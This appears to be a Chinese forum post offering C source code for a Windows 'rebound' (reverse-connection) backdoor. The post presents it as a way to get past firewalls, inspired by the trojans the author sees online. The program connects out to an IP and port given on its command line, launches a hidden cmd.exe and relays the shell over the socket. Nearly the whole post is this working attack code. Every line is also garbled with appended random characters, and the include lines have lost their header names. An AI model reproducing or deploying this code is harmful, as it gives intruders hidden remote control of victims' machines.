这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @24)*d^1
RhQ[hI
/* ============================== &>$+O>c ,
Rebound port in Windows NT 3qNLosm#M
By wind,2006/7 (// f"c]/
===============================*/ Gr}lr gP S
#include ~4'AnoD1w
#include 0oiz V;B5%
1p }:K`#{
#pragma comment(lib,"wsock32.lib") 0kOl,%Ey
DSX.84
void OutputShell(); 6l,oL'$}P1
SOCKET sClient; %UnL,V9)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )ZqY`by!
gtVnn]Jh
void main(int argc,char **argv) 6tKCY(#oO+
{ >jH%n(TcC
WSADATA stWsaData; h-+GS%
int nRet; ~f5g\n;
SOCKADDR_IN stSaiClient,stSaiServer; 'vc>uY
io^L[
if(argc != 3) lwj,8
{ 0<'Q;'2* L
printf("Useage:\n\rRebound DestIP DestPort\n"); /ij)[WK@
return; ;.EW7`)Z
} 5i|DJ6
I`-N]sf^
WSAStartup(MAKEWORD(2,2),&stWsaData); @&fAR2
?Q#yf8
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q-7C'|
B;=-h(E}vJ
stSaiClient.sin_family = AF_INET; zC<k4[ .
stSaiClient.sin_port = htons(0); Lw_s'QNWR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !gbPxfH:6
BfOQ/k))
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6L}}3b h
{ _j Ck)3KO
printf("Bind Socket Failed!\n"); 'PK;Fg\
return; |'ML
)`c[
} *47',Qy
{.mPe|
stSaiServer.sin_family = AF_INET; >A_:qyGk
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P|'eM%
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
o.|P7{v}
{a6cA=WTPd
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yMVlTO
{ "`q:
printf("Connect Error!"); |X6/Y@N
return; +p"}F PIK
} X" m0||
OutputShell(); 'ugc=-0pd
} AAW])c`.
}fT5(+ Wo
void OutputShell() aTL u7C\-e
{ B/F6WQdZ
char szBuff[1024]; R q
|,@
SECURITY_ATTRIBUTES stSecurityAttributes; x,81#=m^h
OSVERSIONINFO stOsversionInfo; ]/ffA|"U`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wY'w'%A?
STARTUPINFO stStartupInfo; kfj)`x
char *szShell; :/<SJ({q
PROCESS_INFORMATION stProcessInformation; =9yh<'583
unsigned long lBytesRead; cN3!wE
` G-V
%
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o|G[/o2
V]Z!x.x"=y
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ``:+*4e9
stSecurityAttributes.lpSecurityDescriptor = 0; kWMz;{I5*w
stSecurityAttributes.bInheritHandle = TRUE; 7U647G(Sg
OUFx M
1"yr`,}?8r
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n4sO#p)'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r?2EJE2{V
,[UK32KWI
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xNOArb5e5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a${<~M
hm
stStartupInfo.wShowWindow = SW_HIDE; Em ;2fh
stStartupInfo.hStdInput = hReadPipe; )eD9H*mq
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (J 1:J
GTuxMg`
GetVersionEx(&stOsversionInfo); nr]:Y3KyxX
sOqT*gwr:
switch(stOsversionInfo.dwPlatformId) hZ`<ID
{ {|{;:_.>
case 1: 'zhv#&O
szShell = "command.com"; l9t|@9
break; v|Y
ut~
default: nghpWODq
szShell = "cmd.exe"; B?
Z_~Bf&
break; h<<uef9
} '4ip~>3?w
.L@gq/x)
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #1De#uZ
giYlLJA*}
send(sClient,szMsg,77,0); rt0_[i
while(1) l=PZlH
y1G
{ 0PD=/fh[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MAQ(PIc>T
if(lBytesRead) JnIE6@g<y
{ `n?Rxhkwp
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dt|| nF
send(sClient,szBuff,lBytesRead,0); 2!Qg1hM
} Xti.yQx\
else rU9z? (
{ Y*/e;mG.
lBytesRead=recv(sClient,szBuff,1024,0); LU $=j
if(lBytesRead<=0) break; b.j$Gna>Q
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); alH6~
} =&I9d;7
} IOT-R!.5V
4$+1&+@ ]
return; `?G&w.Vs
}